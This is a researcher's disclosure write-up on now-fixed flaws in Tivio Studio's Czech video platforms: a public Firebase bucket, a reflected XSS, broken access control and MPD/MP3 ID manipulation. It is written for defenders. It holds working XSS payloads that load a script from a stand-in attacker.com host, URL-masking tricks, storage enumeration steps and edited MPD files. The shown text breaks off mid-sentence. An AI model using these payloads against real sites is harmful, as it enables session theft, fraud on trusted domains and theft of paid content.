March 12, 2026

In this write-up I will describe basic, easily discoverable and exploitable vulnerabilities. That makes the situation even more serious, because practically anyone could have abused these flaws. For example, it was enough to look at part of the URL displayed in the browser, and the user would then gain access to thousands of videos from many creators.

The bugs affected Tivio Studio, whose services are used by well-known companies and creators offering their content via subscription. Their clients include Oktagon, DVTV, U Kulatého stolu, Čestmír Strakatý, and Ondřej Koběrský, among others.

The discovered vulnerabilities were mostly addressed between December 2024 and February 2025. The most critical one had been exploitable since August 2024. For at least six months it was therefore possible to freely access not only paid content, but even unreleased content.

In theory, a journalist did not have to wait for the official release of a DVTV or Čestmír Strakatý interview. They could download a non-public video, obtain statements, and publish exclusive information first. An ordinary user had no reason to pay for their favourite creators on Patreon or HeroHero – thanks to the Tivio Studio bugs, they had that content completely free of charge.

Contents:

• Key Information
• Tivio Studio
• Discovered Vulnerabilities
• Videos: Possible Exploitation Scenarios
• Session Theft – Session Hijacking (XSS)
• Page Content Manipulation: Fake Crowdfunding Campaign (XSS)
• Page Content Manipulation: Fraudulent Investment Platform (XSS)
• Obtaining a Non-Public Document from Ondřej Koběrský
• Playing Any Video from Stargaze.com
• Playing Any Video from Oktagon.tv
• Recommendations for:
• Users
• Creators
• Developers
• How I Proceeded
• Initial Security Bug Report
• New Vulnerabilities and More Frustrating Disclosure
• Conclusion
• Timeline and Reward

Key Information

• Tivio Studio's services are used by, among others, DVTV, Oktagon, Garaz.tv, Čestmír Strakatý, U Kulatého stolu, Ondřej Koběrský, and many other creators on their Stargaze.com platform. They also manage the website and videos for the VOD platform Starmax.tv, which hosts dozens of Czech and foreign movies.

• One vulnerability allowed execution of arbitrary JavaScript code (Reflected XSS), which could lead to obtaining user data, a "temporary" change of page content, or even account takeover (Session Hijacking). An attacker could, for example, display completely arbitrary content on many Tivio-managed domains (e.g. dvtv.cz, komunita.ondrejkobersky.cz) to use for fraud. This manipulated content was only visible to the user who opened a link sent by the attacker (a link in an ad or on social media).

• Another discovered bug was a misconfigured Firebase Storage bucket containing videos belonging to Tivio clients. This storage was set to public, and the only thing a user needed to know was the URL. That URL was available in the DVTV RSS feed for approximately two weeks, accessible to all users (no subscription required). It was also accessible in the browser via the "Network" tab. This storage was publicly accessible for at least 6 months. Anyone who knew the link could freely download paid videos and movies during that time.

• The storage contained over 16,000 videos in their original format available for free download (movies 20–60 GB, creator videos 2–15 GB). It held not only already-published paid content, but also videos scheduled for future release. These videos were subsequently published typically within tens of hours to a few days, and in some cases even weeks later, creating the potential for leaks of non-public information.

• In addition to Firebase Storage, another way to play content without a subscription was discovered. The bug was in MPD files used to load video content. By changing the video ID in these files, content from oktagon.tv, stargaze.com, and starmax.tv could be obtained for free. Using various tools, these videos could also be saved.

• It was also possible to freely obtain documents, articles, or MP3s intended for subscribers. These included course materials (the Investiční průvodce course by Vojta Žižka) and other creator documents (e.g. an equities Google Sheet from Ondřej Koběrský).

• Most of the bugs were trivially exploitable – the content of paid articles and the link to the storage were visible to all visitors in the browser (via the "Network" tab). After the fixes, I was told by a few people at conferences that they had already known about several of the bugs and had been accessing paid content for free.

• All described bugs have since been fixed. The most critical bug was fixed two months after my report (Firebase Storage).

What interesting things can IT security people learn here?

• How to load an external script in an XSS payload without using double slashes (//)
• URL spoofing with Reflected XSS – the victim does not see the XSS payload in the URL
• Masking an entire Reflected XSS link on Instagram
• IndexedDB: Another insecure browser storage location containing tokens/sessions
• IDOR in MPD files: A vulnerability in files loaded by web video players

Statement by Ladislav Navrátil (CEO, Tivio Studio):
I would like to thank Marek Tóth for his responsible and thorough approach in alerting us to the Tivio vulnerability. We value the work of ethical hackers. They help improve the security of services like ours. The core of the incident concerned access to video file backups. The issue was not ignored – we responded, and removed most of the deficiencies within 24 hours. We thoroughly mapped the reasons why the vulnerability was not eliminated immediately after the first report. Based on this experience, we have adjusted our internal processes and team organisation to prevent a similar situation from recurring. We apologise for the situation that occurred.

Note on the statement (M. Tóth): It is entirely possible that most of the bugs from the first report were fixed within 24 hours. I cannot confirm this, as I was not kept informed about the progress of the fixes. However, a few days later, two of the three reported bugs were still present in the production environment – they were only fixed after 2 months (Firebase Storage and the paid course materials accessible via the browser).

Tivio Studio

Tivio Studio (https://www.tivio.studio) is a Czech company focused on developing and managing video platforms for organisations and content creators. It operates on a similar principle to Herohero or Patreon – the creator supplies content and Tivio Studio provides the platform for subscribers. Unlike those services, however, a creator cannot simply create their own profile.

Among its main clients is the online television DVTV (dvtv.cz), for which Tivio Studio handles the complete management of the website and video content. Another example is the Stargaze platform (stargaze.com), where various creators offer their content by subscription (e.g. U Kulatého stolu, Ondřej Koběrský, Čestmír Strakatý). Some creators also have content on their own dedicated domain (garaz.tv, mirabosak.cz, ukulatehostolu.com, komunita.ondrejkobersky.cz). Tivio also manages the VOD platform Starmax.tv with dozens of Czech and foreign movies, as well as the channels DVTV Extra and Kviff.tv Channel.

In addition to its creator platform, Tivio Studio specialises in livestreaming. It handles, for example, live broadcasts for Oktagon, including the implementation of unique features and protections against live stream sharing.

Discovered Vulnerabilities

All vulnerabilities were tested with the consent of the Tivio Studio CEO. This was not a formal comprehensive security test; it was a personal initiative and only randomly selected parts of the web application were verified.

Between December 2024 and February 2025, I reported a total of 7 security bugs, 6 of which I will describe in detail below.

Note: Some bugs were discovered as early as August 2024 (not through active searching), but due to time constraints they were analysed in detail and reported only in December 2024. Even after these several months, the bugs were still exploitable.

1) Publicly Accessible Files from Firebase Storage
(Firebase Storage Misconfiguration – Unauthorized Public Access)

Tivio Studio had a misconfigured Firebase Storage, and the bucket was set to public.

Opening the URL https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/ displayed a list of all uploaded files, and any user could download anything without restriction.

Downloading a file was possible by combining the file name (name) and appending ?alt=media&token=downloadTokens

https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/<NAME>?alt=media&token=<DOWNLOAD_TOKENS>

Where was the download token obtained? It was enough to open the URL for the file.

https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/<NAME>

This returned metadata such as: the file name (metadata-name), the creation date, and the required downloadTokens value.

Sources of the Firebase Storage URL
1) RSS feed – The Firebase Storage link was included for approximately 14 days (August–September 2024) in the RSS feed for podcast applications, accessible to all users including those without a subscription. Any user could thus obtain the storage address.

2) Browser (DevTools/Network) – Another way to obtain the link was via the browser's developer tools.
The full storage URL was exposed for several videos (note: I was alerted to this occurrence by my former colleague Benjamin Král).

For most videos, the Google Cloud Storage scheme "gs://tivio-production-videos-input/xyz.mp4" was shown, thereby revealing the name of the bucket in use.

In particular, the bucket name tivio-production-videos-input was very similar to the one used for images: https://firebasestorage.googleapis.com/v0/b/tivio-production-input-admin/o/. A user only needed to substitute this segment to gain access to many videos. Again, no subscription was required; any user could reach the URL.

Due to the misconfiguration, any user had access to more than 16,000 videos from many creators.

These included videos from DVTV, Oktagon, Garáž.tv, Čestmír Strakatý, Vojta Žižka, Ondřej Koběrský, U Kulatého stolu, movies from the Starmax VOD platform, and many more. Also available were videos from paid courses (Investiční průvodce, LearnTube) and documents intended for subscribers (DVTV Magazine in PDF).

Files were in their original format (movies 20–60 GB, creator videos 2–15 GB), including metadata (username in the system, video's location on disk, and sometimes even the author's/editor's name).

Most critically, the accessible content was not only already-published material, but also non-public or yet-to-be-released videos.

This could lead to leaks of sensitive information (e.g. an unauthorised video, a non-final version) or the acquisition of valuable exclusive statements (unreleased interviews).

When reporting this vulnerability on December 9, 2024, I attached a PDF document to the report containing links to videos that had not yet been published.

The first video in the document was, for example, uploaded to Firebase Storage on December 4, 2024.

This interview was publicly available only on January 11, 2025. A user with access to Firebase Storage had the interview available more than a month earlier.

This bug was reported on 9 Dec 2024. Public access was blocked on 11 Feb 2025.
The storage had been accessible since at least August 2024 – for a minimum of 6 months, anyone could freely download paid videos.

Factors increasing impact:

• Content from many paid creators was freely accessible (very often creators from Patreon)
  → Vojta Žižka, U Kulatého stolu, Ondřej Koběrský...
• Dozens of Czech and foreign movies available in Full HD or 4K quality
• Entire Oktagon broadcasts downloadable (including versions in different languages)
• Ability to obtain videos from paid courses (Investiční průvodce, LearnTube)
• Access to non-public or not-yet-released content
• Files in original format, including metadata
  → video author's name, OS username, editing software used...
• Possible savings of at least 50,000 Kč per year on paid content (paid movies not counted)

Severity: CRITICAL

Which creators were affected?
Creators and projects with paid content:
Aust - 199 Kč/měsíc
Čestmír Strakatý - 159 Kč/měsíc
DVTV - 199 Kč/měsíc
DVTV SK (PubliQ) - 4.95 €/měsíc
Garáž.tv - 2.99 €/měsíc
Horáček: Jak žít lepší život - 499 Kč/rok
Jaromír Bosák (Ušák) - 149 Kč/měsíc
Láska krok za krokem - 599 Kč/rok
Liga naruby - 149 Kč/měsíc
Máte na víc, než si myslíte - 149 Kč/měsíc
Oktagon.TV - 74 Kč/měsíc, 319 Kč/celý přenos
Ondřej Koběrský - 4497 Kč/3 měsíce
Pastoral Brothers - 99 Kč/měsíc
Přelomové zločiny: Devadesátky - 549 Kč/rok
Přepište dějiny - 999 Kč/rok
Přepište dějiny: Prezidenti - 599 Kč/rok
Real Talk - 149 Kč/měsíc
Reportérky - 188 Kč/měsíc
Šifra TV - 4.99 €/měsíc
Týden Horoskopu - 49 Kč/měsíc
U Kulatého stolu - 249 Kč/měsíc
Vojta Žižka - 230 Kč/měsíc
Zimák - 119 Kč/měsíc
360ka - 6.9 €/měsíc

Courses:
Investicnipruvodce.cz (How to Invest in Real Estate Correctly) – 2,990 Kč
Investicnipruvodce.cz (How to Start Investing) – 1,790 Kč
LearnTube (Mathematics) – 1,690 Kč/year
LearnTube (Czech Language) – 1,690 Kč/year

VOD:
Starmax.tv – subscription 99 Kč/month, premium movies 69–79 Kč/movie

Television:
DVTV Extra
Kviff.tv Channel

2) Reflected XSS – Session Hijacking

On many sites using the Tivio Studio solution, the parameter to was improperly sanitised. This parameter was used on /redirect pages to redirect the user (example.com/redirect?to=/screens/home).

It was possible to inject a custom JavaScript script into the to parameter using javascript:alert(1), which would execute when the URL was opened.

Basic vulnerable URL:

example.com/redirect?to=javascript:alert(1)

Due to the absence of a Content-Security-Policy header, it was also possible to load external scripts. However, double slashes could not be used when specifying the source (e.g. s.src=//example.com), so String.fromCharCode() had to be used instead.

s.src=//attacker.com => s.src=String.fromCharCode(47,47)%2B`attacker.com`

Resulting XSS URL loading an external script:

example.com/redirect?to=javascript:d=document;s=d.createElement(`script`);s.src=String.fromCharCode(47,47)%2B`attacker.com`;d.body.appendChild(s);

The entire XSS portion could be hidden in the address bar and replaced with a completely different URL path using the following code:

history.replaceState(null, '', '/invite-only');

Using this code, the user would only see https://example.com/invite-only. The victim would not see a long URL and might not notice the attack at all (i.e. that a Reflected XSS vulnerability was being used). I received this tip after a lecture at CTU Prague from Jáchym Netresta.

For logged-in users who opened a link sent by an attacker, their first name, last name, email address, and RSS address containing subscriber-only materials could be leaked.

Beyond that, the attacker could further steal the logged-in user's session (Session Hijacking), because the managed sites use Firebase Authentication. The solution stores the accessToken and refreshToken in an insecure browser location (IndexedDB), and these tokens can be read using JavaScript – i.e. via XSS.

If the user had not manually logged out, the attacker could have long-term access to their account, primarily access to their subscription and to newly generated RSS links.

The vulnerability also allowed modification of web page content, again visible only to the user who opened the attacker's link (e.g. by clicking an ad or a link on social media).

Content modification is a standard XSS impact, but in the case of Tivio Studio, the bug could be used for various frauds. The manipulated content could appear directly on the clients' domains, lending credibility to the fraud (dvtv.cz, ukulatehostolu.com, hoste.vojtazizka.cz, etc.). It could be used to create a fake crowdfunding campaign or a fraudulent investment platform. All that was needed was a link pointing to a trusted domain, and the user would unknowingly see fraudulent content. This would be a social engineering attack, but likely with a high success rate – the victim is opening a legitimate domain.

A single click on the page could also extract a saved entry from a password manager: name, address, payment card details, saved login credentials. At the time, the most popular browser-based password managers were vulnerable (more information about this attack in DOM-based Extension Clickjacking).

Video demonstrations of possible exploitation are in the section below.

Factors increasing impact:

• XSS vulnerability present on many domains simultaneously (ukulatehostolu.com, komunita.ondrejkobersky.cz...)
• Content modification possible on well-known creators'/companies' sites
  → large fraud potential from an attacker's perspective
• Access to paid content for users with a valid subscription
• Missing Content-Security-Policy header
• URL spoofing possible to mask the XSS payload via history.replaceState()

Factors decreasing impact:

• The user had to reach the attacker's link somehow
  → social media post, fake advertisement, redirect from an external or trusted site

Severity: HIGH

Which creators were affected?
DVTV – dvtv.cz (img)
DVTV SK – dvtv.sk
JOJ Play – play.joj.sk (img)
Stargaze – stargaze.com (img)
U Kulatého stolu – ukulatehostolu.com (img)
Ondřej Koběrský – komunita.ondrejkobersky.cz (img)
Vojta Žižka – hoste.vojtazizka.cz, investicnipruvodce.cz (img, img)
Liga naruby – liganaruby.cz
Garaz TV – garaz.tv
Jaromír Bosák – mirabosak.cz
(other creators were not verified by me)

3) Access to Paid Course Materials
(Firebase Firestore: Broken Access Control)

On the domain investicnipruvodce.cz, a request was sent in the background during normal page loading to: https://firestore.googleapis.com/google.firestore.v1.Firestore/Listen/channel?gsessionid=dU…

The response to this request contained information about the purchased course, including a link to the materials.

"Thank you for purchasing the course How to Invest in Real Estate Correctly. Along with full access to the complete video series on real estate investing, you also receive access to the supporting materials..."

The screenshot above is from Burp Suite, but obtaining the link required nothing more than opening Developer Tools → Network in the browser.

A user could freely obtain a link to materials (Google Docs) belonging to Vojta Žižka's Investiční průvodce project. The documents contained phone contacts for mortgage specialists and other important links.

The project offered two paid courses: How to Start Investing? (1,790 Kč) and How to Invest in Real Estate Correctly? (2,990 Kč). Materials for both could be obtained for free.

Severity: Medium-HIGH
The materials contained important contact details for specialists associated with the course. The bug was also easily exploitable. At the time of reporting I did not find any other similar courses managed by Tivio Studio, so I rate this as a "higher" Medium since the impact was limited to the Investiční průvodce courses.

Which creators were affected?
Vojta Žižka – investicnipruvodce.cz

4) Access to All Paid Articles
(Cloud Functions Endpoint: Broken Access Control)

Pages managed by Tivio Studio were issuing a request to https://europe-west3-tivioproduction.cloudfunctions.net/getRowsInScreen3.

The responses to these requests contained information that should have been available to subscribers only. Below are example outputs from hoste.vojtazizka.cz and komunita.ondrejkobersky.cz.

This was fundamentally the same bug as the previous one, except that it involved a different URL and was a more general type of flaw. The bug therefore affected all creators using subscriber-only articles.

On all pages using the Tivio Studio solution, it was possible to obtain paid article content without a subscription. It was enough to open DevTools – Network and read the response to the getRowsInScreen3 request.

For Ondřej Koběrský, for example, it was possible to obtain a link to an equities Google Spreadsheet, including comments and recommended purchase prices. A subscription to Ondřej Koběrský normally costs 4,497 Kč for 3 months, and the links to the materials have high informational value – not everything is covered in video format.

Severity: HIGH

Which creators were affected?
Vojta Žižka (hoste.vojtazizka.cz) – guest recommendations from the podcast
Ondřej Koběrský (komunita.ondrejkobersky.cz) – investment recommendations and portfolios
(Possibly other creators as well, if they offered subscriber-only articles or posts.)

5) MPD BaseURL Manipulation (IDOR)

When playing content on Tivio Studio platforms, an MPD file is loaded, which then loads the video from the server. This MPD file could be downloaded and modified so that paid videos would play for free.

The modification involved adding a <BaseURL> tag and specifying the URL from which the content should be loaded. This URL could be found in DevTools while playing any video. To play a different video, it was enough to change the ID in the MPD file.

index.mpd before modification:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<MPD minBufferTime="PT1.5S" mediaPresentationDuration="PT55M23.2S" profiles="urn:mpeg:dash:profile:isoff-live:2011" type="static" xmlns="urn:mpeg:dash:schema:mpd:2011">
  <UTCTiming schemeIdUri="urn:mpeg:dash:utc:http-head:2014" value="https://streaming.tivio.studio/utils/utc"/>
  <Period id="0" duration="PT55M23.2S" start="PT0S">
    <AdaptationSet bitstreamSwitching="true" contentType="video" id="0" segmentAlignment="true">
      <Representation bandwidth="5000000" codecs="avc1.4D4028" frameRate="25" height="1080" id="1080" mimeType="video/mp4" width="1920">
        <BaseURL>./v1080/</BaseURL>
        <SegmentList duration="49152" timescale="12800">
          <Initialization sourceURL="init.mp4"/>
          <SegmentURL media="1.m4s"/>
          <SegmentURL media="2.m4s"/>
          <SegmentURL media="3.m4s"/>
          <SegmentURL media="4.m4s"/>
          ...

index.mpd after modification:
The full URL was added in BaseURL and the video/creator ID was changed. The full URL had to be specified because once the MPD file was downloaded, it was no longer being served from the server and a video player (e.g. VLC) would not know where to fetch the source video from.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<MPD minBufferTime="PT1.5S" mediaPresentationDuration="PT55M23.2S" profiles="urn:mpeg:dash:profile:isoff-live:2011" type="static" xmlns="urn:mpeg:dash:schema:mpd:2011">
  <UTCTiming schemeIdUri="urn:mpeg:dash:utc:http-head:2014" value="https://streaming.tivio.studio/utils/utc"/>
  <Period id="0" duration="PT55M23.2S" start="PT0S">
    <AdaptationSet bitstreamSwitching="true" contentType="video" id="0" segmentAlignment="true">
      <Representation bandwidth="5000000" codecs="avc1.4D4028" frameRate="25" height="1080" id="1080" mimeType="video/mp4" width="1920">
        <BaseURL>https://ondemand.streaming.tivio.studio/v2/VIDEO_ID/CREATOR_ID/42069/v1080/</BaseURL>
        <SegmentList duration="49152" timescale="12800">
          <Initialization sourceURL="init.mp4"/>
          <SegmentURL media="1.m4s"/>
          <SegmentURL media="2.m4s"/>
          <SegmentURL media="3.m4s"/>
          <SegmentURL media="4.m4s"/>
          ...
          <SegmentURL media="4000.m4s"/>

Tivio Studio used two MPD file formats. The same vulnerability type was present in both.

If needed, the playback duration in the MPD file could also be extended by adding more
<SegmentURL media="X.m4s"/> entries.

Both the video ID and creator ID are easily found via DevTools in the browser. They are visible in the console as well as in "Elements".

The full BaseURL was added to each audio and video segment of the MPD file:

<BaseURL>https://ondemand.streaming.tivio.studio/videos/VIDEO_ID/CREATOR_ID/42069/v1080/</BaseURL>

After changing the values (VIDEO_ID / CREATOR_ID) in the URL, it was possible to play the specified video. These MPD files completely lacked any check for whether the user held a valid subscription.

A user could play any content from Oktagon.tv, Stargaze.com, or the VOD platform Starmax.tv. Videos could primarily be played, but using tools such as ffmpeg or yt-dlp they could also be saved.

This way, the user once again gained free access to paid content.

Factors increasing impact:

• Content from many paid creators available for free
  → Vojta Žižka, U Kulatého stolu, Ondřej Koběrský...
• Dozens of Czech and foreign movies available
• Ability to save videos via ffmpeg/yt-dlp
• In some cases, unreleased content could be obtained hours before publication
  → an attacker searched for a creator who had scheduled a video release with a countdown timer already running = obtained the video ID

Factors decreasing impact:

• Content from DVTV was not accessible via this method
• It was not possible to obtain an unreleased video far in advance of publication

Severity: CRITICAL

Which creators were affected?
Stargaze (stargaze.com) – U Kulatého stolu, Ondřej Koběrský, Čestmír Strakatý, Garaz.tv, and others
Starmax (starmax.tv) – Dozens of Czech and foreign movies
Oktagon (oktagon.tv) – Matches available only to subscribers after the tournament ended

6) Accessible MP3 Interviews
(Unauthenticated MP3 URL – IDOR)

Tivio Studio was using MP3 interview links without any subscription check.

Anyone who opened the RSS address intended for podcast applications could see a link to an MP3 interview (no subscription required). Opening the link redirected to an unauthenticated URL that required no verification.

https://api.tiv.io/getRssSource?token=eyJhbGciOiJSUzI1…
302 Found ->
https://ondemand.streaming.tivio.studio/v2/<VIDEO_ID>/qdJUFkdjiuApXuHnhjlL/mp3/192/en.mp3
302 Found ->
https://r2-videos-test.tivio.studio/<VIDEO_ID>/qdJUFkdjiuApXuHnhjlL/mp3/a192/en.mp3

To obtain a complete DVTV interview in MP3 format, it was enough to know one of the last two URLs and simply change the VIDEO_ID.

Note: I was alerted to this bug by my former colleague Benjamin Král.

Any user could gain access to a complete interview entirely for free simply by changing the ID in the URL.

Severity: HIGH

Which creators were affected?
DVTV (dvtv.cz)

Videos: Possible Exploitation Scenarios

Session Theft – Session Hijacking (XSS)

Tivio Studio uses Firebase Authentication on its sites, which stores values in IndexedDB, including the user's session. IndexedDB content is not protected against being read by JavaScript, so XSS could be used to obtain the user session.

The full procedure, including the script for extracting data from IndexedDB, is described below.

Page Content Manipulation – Fake Crowdfunding Campaign (XSS)

An attacker could use the XSS vulnerability to alter content on many managed pages. Below is an example using DVTV, but the vulnerability could be exploited on other managed domains as well. The list of domains is in the Reflected XSS – Session Hijacking section.

The attacker used JavaScript to modify the content on the vulnerable XSS page and displayed an entirely custom crowdfunding campaign, which could have been used for fraudulent purposes.

Page Content Manipulation – Fraudulent Investment Platform (XSS)

Similar to the previous example, this shows rendering custom content on a page with the XSS vulnerability. In this case, the exploitation example shows an attacker displaying a fraudulent investment platform on a trusted domain. The link was again stored in Instagram Stories.

In the video you can see that the link in Stories leads to https://www.dvtv.cz/new-investment-platform/po…

XSS was on https://www.dvtv.cz/redirect?to=javascript:alert(1). How is a different URL showing here?

It is not different – it still leads to the XSS URL; the link was merely saved as:

https://www.dvtv.cz/nova-investicni-platforma/pouze-pro-zvane/../../redirect?to=javascript%3Ad%3Ddocument%3Bs%3Dd.createElement%28%60script%60%29%3Bs.src%3DString.fromCharCode%2847%2C47%29%252B%60attacker.com%60%3Bd.body.appendChild%28s%29%3B

Using ../../ causes the browser to strip the preceding path segment (nova-investicni-platforma/pouze-pro-zvane/), so anything could be placed there. Opening the link then redirects directly to the target address:

https://www.dvtv.cz/redirect?to=javascript%3Ad%3Ddocument%3Bs%3Dd.createElement%28%60script%60%29%3Bs.src%3DString.fromCharCode%2847%2C47%29%252B%60attacker.com%60%3Bd.body.appendChild%28s%29%3B

Attackers can use various techniques to disguise the vulnerable URL. After all, "https://example.cz/new-investment-platform/po…" will likely get more clicks than a bare "https://example.cz/redirect?to=javascript%3Ad%3Ddocument%3Bs%3Dd.createElement%28%60script...".

Obtaining a Non-Public Document from Ondřej Koběrský

Below is a recorded video of the bug where the browser was displaying paid article/post content. One post contained a non-public link to a Google Document with stock descriptions.

Playing Any Video from Stargaze.com

The video below shows the complete MPD file modification process. The video begins with downloading the MPD file for a Čestmír Strakatý video that is freely available. Then the video duration is adjusted (otherwise other videos would play for only 28 min) followed by changing video IDs from the Stargaze.com platform.

A paid video from Ondřej Koběrský and U Kulatého stolu is then played.

Playing Any Video from Oktagon.tv

This example uses exactly the same method as for Stargaze, except that videos from Oktagon.tv are played.

Recommendations for Users

With the rapid development of AI, everything is changing – including cybersecurity. AI-powered vulnerability discovery tools are achieving significantly better results than traditional scanning tools. This makes everything faster and more accessible for attackers. Using AI agents, they can scan web applications continuously and at scale.

Trusted Domain ≠ Safe Content

Users today are used to not clicking on suspicious domains. Attackers know this and therefore may target them differently. XSS vulnerabilities allow fraudulent content to be displayed directly on a trusted domain. It is one of the most common web bugs, and finding one is not unusual. An attacker finds this vulnerability using an AI tool, prepares fraudulent content, and launches a paid ad on social media. Everything exactly as they have done before. The user sees an ad pointing to a well-known trusted site and has no reason to be afraid to click...

Before entering sensitive information, I therefore recommend:

Reload the page (F5)
• If the page had a Reflected XSS vulnerability, the address may have been masked via URL spoofing. Reloading the page re-fetches the URL from the address bar – for a fraudulent page, the same content would not be displayed after reloading (likely a 404 Not Found error)

Check the URL
• I recommend checking the address bar for suspicious expressions such as: javascript:, script, <, >, (, ), %28, %29
• For a very long URL, try deleting everything after "?" – this removes all parameters
• If a saved link contains /../ or %2F..%2F, it may be an attempt to mask the real URL
→ In summary, if a URL contains many % characters or unusual combinations of letters and digits, it is wise to be very cautious

Important: There are other web vulnerabilities for which these steps do not work – for example, some cannot be detected from the URL. These points primarily concern user-facing fraud. If in doubt, the best course of action is always to contact the company or creator directly.

Recommendations for Creators

Invalidating Non-Public Links

For some of the bugs, it was possible to obtain paid article/post content. Any user could use just the browser (F12) to obtain the content of these articles and extract non-public links from them, which they could continue using.

Recommendations:
• Create new non-public links in paid posts
→ For Google Docs: File => Make a copy, and share the new document

Metadata

When uploading videos to third-party platforms, bear in mind that files may contain metadata that can reveal sensitive information, such as the video author's name or the OS username. In the case of Tivio Studio, this information was accessible to anyone who downloaded a video from the insecure Firebase Storage. For creators who protect their privacy online (e.g. Nic Nevim), sensitive information could have been leaked.

Recommendations:
• If you operate under a pseudonym or wish to protect your own or your team's privacy, I recommend stripping metadata from files before uploading.
→ Removing metadata with ffmpeg:

ffmpeg -i input.mp4 -map_metadata -1 -c copy output.mp4

Recommendations for Developers

The reported bugs frequently involved Google Firebase; I would like to highlight some issues below.

Security Rules

Incorrectly configured Firebase rules were the most serious problem at Tivio. This misconfiguration allowed the enumeration of ~16,000 files stored in Firebase Storage, along with the ability to download them.

❌ Insecure configuration – allows reading user data

This is what the configuration at Tivio Studio may have looked like. The bucket may originally have been used only for static images, but that changed over time without the security rules being updated. Any user (even unauthenticated) could read stored files.

rules_version = '2';
 
service firebase.storage {
  match /b/{bucket}/o {
    match /{allPaths=**} {
      allow read: if true;
      allow write: if false;
    }
  }
}

✅ Appropriate fix – Only an authenticated user who is part of the project can write and read.

rules_version = '2';
 
service firebase.storage {
  match /b/{bucket}/o {
    match /{allPaths=**} {
      allow read, write: if request.auth != null;
    }
  }
}

Recommendation:
• Review the Security Rules configured for Firebase Storage in your project

More information:
https://firebase.google.com/docs/firestore/security/insecure-rules,
https://firebase.google.com/docs/rules/basics

Session Hijacking

Firebase Authentication uses IndexedDB as its default client-side storage for access tokens and refresh tokens. This is a security concern because this location is accessible via JavaScript. From a security standpoint, it is just as vulnerable as localStorage. If an XSS vulnerability is found, the user's session can therefore be stolen (Session Hijacking).

Recommendations:
• Implement server-side session management using the Firebase Admin SDK (createSessionCookie())
→ Store the authentication session in cookies with the HttpOnly, Secure, and SameSite=Strict attributes
(the HttpOnly attribute prevents the cookie value from being read by JavaScript)
• Implement a Content-Security-Policy (CSP) header
→ Allows you to define a list of trusted sources for loading scripts, styles, images, and other content types

More information:
https://firebase.google.com/docs/auth/admin/manage-cookies
https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP

How I Proceeded

This chapter could also be titled:
How I Proceeded... or: When Reporting Is Harder Than Finding the Bugs

In December 2024 I phoned the CEO of Tivio Studio and agreed with him that I would test their platform in the coming days and send him a report by email within a few days. This was therefore not a formally commissioned penetration test, but a voluntary review of potential issues in the spirit of responsible disclosure.

While using the dvtv.cz website I noticed that an RSS link for podcast applications was automatically generated for all registered users.

Does that link work even without a paid subscription? What data does it contain when opened?

I opened the RSS in the browser and it contained several free interviews.

One thing caught my eye. I noticed that all the links pointed to MP3 files except for one. That one link contained an MP4 with a completely different domain from all the others.

RSS is presumably for podcast apps. What is an MP4 video doing among the audio? 🤔

I tried opening that link… and a full video interview started playing.

This entire video was also freely available on the DVTV website, so ultimately nothing unusual.

What is that token at the end of the URL doing? What if I delete it back to the .mp4 – will I still see the video? 🤔

After deleting it, the video was gone, but information such as timeCreated, size, name, and downloadTokens appeared. The downloadTokens value was exactly the one I had just deleted from the token parameter.

What happens if I also delete the entire "name" from the URL?

I tried it and saw...

I understood that I was looking at a list of uploaded video files. And there were quite a lot of them.

In total there were 16,023 videos and 3,366 subtitle files.

Can any of them be played? 🤔 I selected a random video and tried the exact reverse process.

In the URL I entered the "name" from the listed files, replacing the slash / with its URL-encoded form %2F.

https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/<NAME>

Opening it again showed me the file's metadata. I copied the downloadTokens value and appended it as the token parameter along with "alt=media".

https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/<NAME>?alt=media&token=<DOWNLOAD_TOKEN>

It worked – and an entirely different DVTV interview started playing.

So not only could I see the list of uploaded files, I could also download any video.

Tivio Studio therefore had a misconfigured access control in Firebase Storage.

The list of uploaded videos was publicly accessible; all that was needed was to open this URL:

https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/

Opening it did not immediately show all videos from the storage. At the end of each page there was a nextPageToken which allowed navigating to the next page of the listing.

Using the following URL it was possible to paginate through the entire bucket tivio-production-videos-input:

https://firebasestorage.googleapis.com/v0/b/tivio-production-videos-input/o/?pageToken=<NEXT_PAGE_TOKEN>

I later found that the name field was structured as follows:

<CREATOR_ID>/<VIDEO_ID>.{mp4|mov}

When opening a given name, in many cases the original uploaded filename was also visible. This allowed identification of which creator the videos belonged to.

If the original filename was not shown, the VIDEO_ID could be used to load the video on the Tivio platform (e.g. https://stargaze.com/videos/<VIDEO_ID>), which again allowed identifying which creator owned the video.

Not only creator and company videos were available for download, but also videos from paid courses – Investiční průvodce and LearnTube. Since Tivio manages videos for Starmax.tv and Kviff.TV Channel, hundreds of Czech and foreign movies were also available for download.

Creators uploaded their original files to the storage, so none of the videos were compressed.

Files also contained metadata. Using tools like mediainfo/exiftool/ffmpeg, it was possible to retrieve, for example, the name of the specific video editor, the OS username, information about the video editing software used, or which sound effects had been added.

The impact did not end there. A very significant issue was that some videos had not yet been published. It was therefore possible to access various videos before they were released to subscribers. This was likely most problematic for news and current-affairs programmes, where exclusive information from an interview could be obtained before everything was officially published (DVTV, Čestmír Strakatý).

In addition, it was also possible to obtain various unauthorised videos (multiple versions of the same file). So information could leak in this way too – e.g. uncut portions.

This was the first vulnerability I found. While browsing dvtv.cz I also noticed that opening the following URL redirected to the main page:

https://www.dvtv.cz/redirect?to=/screens/home

My first step was to try replacing the target address in the to parameter to see how the server would react.

/redirect?to=/screens/home → /redirect?to=//google.com

Opening this URL redirected to Google, confirming an Open Redirect vulnerability.

I then tried the XSS payload commonly used with Open Redirect bugs: javascript:alert(1).

https://www.dvtv.cz/redirect?to=javascript:alert(1)

And after opening this URL...

...an alert was displayed.

Tivio Studio manages pages for multiple companies and creators, so I tested this payload on other domains as well.

XSS was present there too.

So the bug was not just on dvtv.cz but on many other Tivio Studio-managed sites (stargaze.com, hoste.vojtazizka.cz, ukulatehostolu.com, komunita.ondrejkobersky.cz, etc.).

From the web server's response I confirmed that no Content-Security-Policy header was in use.

I therefore tried to load an external script in the XSS payload:

javascript:d=document;s=d.createElement(`script`);s.src=`//example.com`;d.body.appendChild(s);//

And absolutely nothing happened.

In the console I noticed this error:

